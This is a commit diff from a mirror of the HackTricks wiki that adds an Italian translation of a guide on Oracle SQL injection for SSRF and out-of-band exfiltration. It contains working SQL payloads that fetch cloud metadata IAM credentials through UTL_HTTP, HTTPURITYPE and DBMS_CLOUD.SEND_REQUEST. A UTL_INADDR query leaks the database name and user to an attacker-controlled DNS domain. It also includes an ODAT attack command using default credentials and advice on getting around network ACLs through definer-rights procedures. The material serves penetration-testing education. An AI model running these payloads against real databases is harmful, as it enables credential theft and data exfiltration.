mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to i
This commit is contained in:
parent
42c098b1b1
commit
fc7def0f1b
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Serve questo post una copia della macchina del tempo del post eliminato da [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
||||
**Servire questo post una copia della macchina del tempo del post eliminato da [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
||||
|
||||
## SSRF
|
||||
|
||||
Utilizzare Oracle per effettuare richieste HTTP e DNS Out of Band è ben documentato, ma come mezzo per esfiltrare dati SQL nelle iniezioni. Possiamo sempre modificare queste tecniche/funzioni per fare altre SSRF/XSPA.
|
||||
|
||||
Installare Oracle può essere davvero doloroso, specialmente se vuoi impostare un'istanza rapida per provare comandi. Il mio amico e collega di [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), mi ha indicato [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) che mi ha permesso di impostare un'istanza su una macchina AWS Ubuntu t2.large e Docker.
|
||||
Installare Oracle può essere davvero doloroso, specialmente se si desidera impostare un'istanza rapida per provare comandi. Il mio amico e collega di [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), mi ha indicato [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) che mi ha permesso di configurare un'istanza su una macchina AWS Ubuntu t2.large e Docker.
|
||||
|
||||
Ho eseguito il comando docker con il flag `--network="host"` in modo da poter mimare Oracle come un'installazione nativa con accesso completo alla rete, per la durata di questo blogpost.
|
||||
Ho eseguito il comando docker con il flag `--network="host"` in modo da poter imitare Oracle come un'installazione nativa con accesso completo alla rete, per il corso di questo blogpost.
|
||||
```
|
||||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||
```
|
||||
@ -82,7 +82,7 @@ Un `ORA-29276: transfer timeout` indica che la porta è aperta ma non è stata s
|
||||
|
||||
**UTL_TCP**
|
||||
|
||||
Il pacchetto `UTL_TCP` e le sue procedure e funzioni consentono la [comunicazione basata su TCP/IP con i servizi](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati.
|
||||
Il pacchetto `UTL_TCP` e le sue procedure e funzioni consentono [comunicazioni basate su TCP/IP con i servizi](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati.
|
||||
|
||||
L'esempio [sul sito della documentazione Oracle mostra come puoi utilizzare questo pacchetto per stabilire una connessione TCP raw per recuperare una pagina web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Possiamo semplificarlo ulteriormente e usarlo per effettuare richieste all'istanza dei metadati, ad esempio, o a un servizio TCP/IP arbitrario.
|
||||
```
|
||||
@ -124,11 +124,11 @@ END;
|
||||
utl_tcp.close_connection(c);
|
||||
END;
|
||||
```
|
||||
Interessantemente, grazie alla capacità di creare richieste TCP raw, questo pacchetto può essere utilizzato anche per interrogare il servizio di meta-dati dell'istanza di tutti i fornitori di cloud poiché il tipo di metodo e gli header aggiuntivi possono essere tutti passati all'interno della richiesta TCP.
|
||||
Interessantemente, grazie alla capacità di creare richieste TCP raw, questo pacchetto può essere utilizzato anche per interrogare il servizio di meta-dati dell'istanza di tutti i fornitori di cloud poiché il tipo di metodo e le intestazioni aggiuntive possono essere tutte passate all'interno della richiesta TCP.
|
||||
|
||||
**UTL_HTTP e Richieste Web**
|
||||
|
||||
Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Oracle SQL Injection Out of Band è il [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Questo pacchetto è definito dalla documentazione come - `Il pacchetto UTL_HTTP effettua chiamate al Protocollo di Trasferimento Ipertestuale (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.`
|
||||
Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Out of Band Oracle SQL Injection è il [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Questo pacchetto è definito dalla documentazione come - `Il pacchetto UTL_HTTP effettua chiamate Hypertext Transfer Protocol (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
@ -140,6 +140,89 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||||
```
|
||||
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` è un segno che la porta TCP è chiusa, mentre un `ORA-29263: HTTP protocol error` o dati sono un segno che la porta è aperta.
|
||||
|
||||
Un altro pacchetto che ho utilizzato in passato con successo variabile è il [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) che consente di interagire con un URL e fornisce supporto per il protocollo HTTP. Il metodo `GETCLOB()` viene utilizzato per recuperare la risposta GET da un URL come un [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
Un altro pacchetto che ho utilizzato in passato con successo variabile è il [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) che consente di interagire con un URL e fornisce supporto per il protocollo HTTP. Il metodo `GETCLOB()` viene utilizzato per recuperare la risposta GET da un URL come un [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
|
||||
```
|
||||
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
|
||||
```
|
||||
---
|
||||
|
||||
## Pacchetti e Tecniche Aggiuntive (Oracle 19c → 23c)
|
||||
|
||||
### UTL_INADDR – esfiltrazione basata su DNS e scoperta di host
|
||||
|
||||
`UTL_INADDR` espone semplici helper per la risoluzione dei nomi che attivano una ricerca DNS in uscita dall'host del database. Poiché è richiesto solo un dominio (non è necessario alcun porto/ACL), è un primitivo affidabile per l'esfiltrazione cieca quando altre chiamate di rete sono bloccate.
|
||||
```sql
|
||||
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
|
||||
SELECT UTL_INADDR.get_host_address(
|
||||
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
|
||||
'.attacker.oob.server') FROM dual;
|
||||
```
|
||||
`get_host_address()` restituisce l'IP risolto (o solleva `ORA-29257` se la risoluzione fallisce). L'attaccante deve solo monitorare la richiesta DNS in arrivo sul dominio controllato per confermare l'esecuzione del codice.
|
||||
|
||||
### DBMS_CLOUD.SEND_REQUEST – client HTTP completo su Autonomous/23c
|
||||
|
||||
Le recenti edizioni centrate sul cloud (Autonomous Database, 21c/23c, 23ai) vengono fornite con `DBMS_CLOUD`. La funzione `SEND_REQUEST` funge da client HTTP di uso generale che supporta verbi, intestazioni, TLS e corpi di grandi dimensioni personalizzati, rendendola molto più potente rispetto al classico `UTL_HTTP`.
|
||||
```sql
|
||||
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
|
||||
BEGIN
|
||||
-- empty credential when no auth is required
|
||||
DBMS_CLOUD.create_credential(
|
||||
credential_name => 'NOAUTH',
|
||||
username => 'ignored',
|
||||
password => 'ignored');
|
||||
END;
|
||||
/
|
||||
|
||||
DECLARE
|
||||
resp DBMS_CLOUD_TYPES.resp;
|
||||
BEGIN
|
||||
resp := DBMS_CLOUD.send_request(
|
||||
credential_name => 'NOAUTH',
|
||||
uri => 'http://169.254.169.254/latest/meta-data/',
|
||||
method => 'GET',
|
||||
timeout => 3);
|
||||
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
|
||||
END;
|
||||
/
|
||||
```
|
||||
Perché `SEND_REQUEST` consente URI di destinazione arbitrari, può essere abusato tramite SQLi per:
|
||||
1. Scansione delle porte interne / SSRF ai servizi di metadati cloud.
|
||||
2. Esfiltrazione out-of-band su HTTPS (usa Burp Collaborator o un tunnel `ngrok`).
|
||||
3. Callback ai server dell'attaccante anche quando i pacchetti di chiamata più vecchi sono disabilitati dalle ACL.
|
||||
|
||||
ℹ️ Se hai solo un classico on-prem 19c ma puoi creare procedure memorizzate Java, a volte puoi installare `DBMS_CLOUD` dal pacchetto client OCI — utile in alcuni incarichi.
|
||||
|
||||
### Automatizzare la superficie di attacco con **ODAT**
|
||||
|
||||
[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) ha tenuto il passo con le versioni moderne (testato fino a 19c, 5.1.1 – Apr-2022). I moduli `–utl_http`, `–utl_tcp`, `–httpuritype` e il più recente `–dbms_cloud` automaticamente:
|
||||
* Rilevano pacchetti di chiamata/assegnazioni ACL utilizzabili.
|
||||
* Attivano callback DNS & HTTP per estrazione cieca.
|
||||
* Generano payload SQL pronti da copiare per Burp/SQLMap.
|
||||
|
||||
Esempio: controllo OOB rapido con credenziali predefinite (si occupa dell'enumerazione delle ACL in background):
|
||||
```bash
|
||||
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
|
||||
```
|
||||
### Recent network ACL restrictions & bypasses
|
||||
|
||||
Oracle ha inasprito le ACL di rete predefinite nel CPU di luglio 2023 — gli account non privilegiati ora ricevono `ORA-24247: network access denied by access control list` per impostazione predefinita. Due schemi consentono ancora le chiamate tramite SQLi:
|
||||
1. L'account target possiede un'entrata ACL (`DBMS_NETWORK_ACL_ADMIN.create_acl`) che è stata aggiunta da uno sviluppatore per integrazioni.
|
||||
2. L'attaccante sfrutta una routine con diritti di definizione PL/SQL ad alta privilegio (ad es. in un'applicazione personalizzata) che *ha già* `AUTHID DEFINER` e le autorizzazioni necessarie.
|
||||
|
||||
Se incontri `ORA-24247` durante lo sfruttamento, cerca sempre procedure riutilizzabili:
|
||||
```sql
|
||||
SELECT owner, object_name
|
||||
FROM dba_objects
|
||||
WHERE object_type = 'PROCEDURE'
|
||||
AND authid = 'DEFINER';
|
||||
```
|
||||
(in molte audit almeno una procedura di reporting/esportazione aveva i diritti necessari).
|
||||
|
||||
---
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* Oracle Docs – descrizione e esempi del pacchetto `DBMS_CLOUD.SEND_REQUEST`.
|
||||
* quentinhardy/odat – Strumento di attacco per Oracle Database (ultima versione 5.1.1, Apr-2022).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user